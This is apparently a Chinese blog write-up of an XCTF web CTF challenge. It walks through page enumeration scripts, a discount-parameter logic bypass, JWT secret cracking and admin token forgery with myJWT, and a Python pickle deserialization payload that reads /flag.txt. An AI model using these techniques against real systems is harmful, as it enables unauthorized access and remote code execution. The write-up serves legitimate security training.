攻防世界 WEB bilibili

原创

显哥无敌 于 2022-01-05 15:38:47 发布 2031 收藏 1

分类专栏： BUUCTF 文章标签： web安全

本文链接：https://blog.csdn.net/qq_41696858/article/details/122324982

打开场景，我们就知道这题已经训练了两年，非常的唱跳rap啊

咱就说

hint:ikun们冲鸭,一定要买到lv6!!!

审计页面源码，发现lv几都是png图片，不妨试试lv6在哪个页面

点击下一页，url变为/shop?page=2

先爆破一下页数，page=1000,没有下一页按钮，写脚本吧

```
import requests

url = "http://111.200.241.244:50074/shop?page="
for i in range(1,5000):
    response=requests.get(url+str(i))
    print("当前页"+str(i))
    if "下一页" not in response.text:
        print(i)
        break
```

爆破出来是500页，那么找lv6.png在哪

```
for i in range(1,501):
    response = requests.get(url+str(i))
    if "lv6.png" in response.text:
        print(i)
        break
```

结果在181页，访问，这个价格绝了，价格的逻辑漏洞很常见了，抓包，看看能不能改什么参数，经过测试，只有在改折扣的时候才会重定向到不同的页面
也就是绕过了购买逻辑，重定向到/b1g_m4mber
显示只有admin才能访问，如何越权呢
看到多了一个JWT，简单了解了一下
https://www.jianshu.com/p/576dbf44b2ae
分为三个部分，头部，载荷，签证
推荐一个网站，可以解码JWT，把抓包抓到的JWT拿去解析，发现用户名是我们自己的
尝试改为admin，发现不行，应该是有密钥的签证
于是问题就变成密钥破解，推荐一个工具
https://www.freebuf.com/sectool/262183.html
爆破密钥
myJWT JWT值 --crack “[a-zA-Z0-9]{4}”
解密出来1Kun
myJWT 原JWT值 --add-payload “username=admin” --sign 1Kun
替换发现可以成功登录
然后有一个超链接，点进去500
那怎么办呢，审计页面，发现有源码泄露，www.zip，下载下来源码审计，在views里的admin.py发现如下代码

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument(‘become’)
p = pickle.loads(urllib.unquote(become))
return self.render(‘form.html’, res=p, member=1)
except:
return self.render(‘form.html’, res=‘This is Black Technology!’, member=0)

涉及到了python的反序列化操作，在pickle.loads一个对象的时候，会调用他的reduce方法，也就是说对象的主导权是在我们手里的
具体细节看这一篇:
https://www.sohu.com/a/274879579_729271
那么直接开始写脚本：

```
import pickle
import urllib
import commands

class payload(object):
    def __reduce__(self):
        return(commands.getoutput,('cat /flag.txt',))

a = payload()
print urllib.quote(pickle.dumps(a))
```

得到PAYLOAD：

```
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
```

尝试post带一个become参数过去，值是刚刚序列化的payload，成功回显
至于这个/flag.txt哪里来的，你要不然试试把cat /flag.txt换成ls /试试？
参考视频链接:https://www.bilibili.com/video/BV1pm4y1X7je/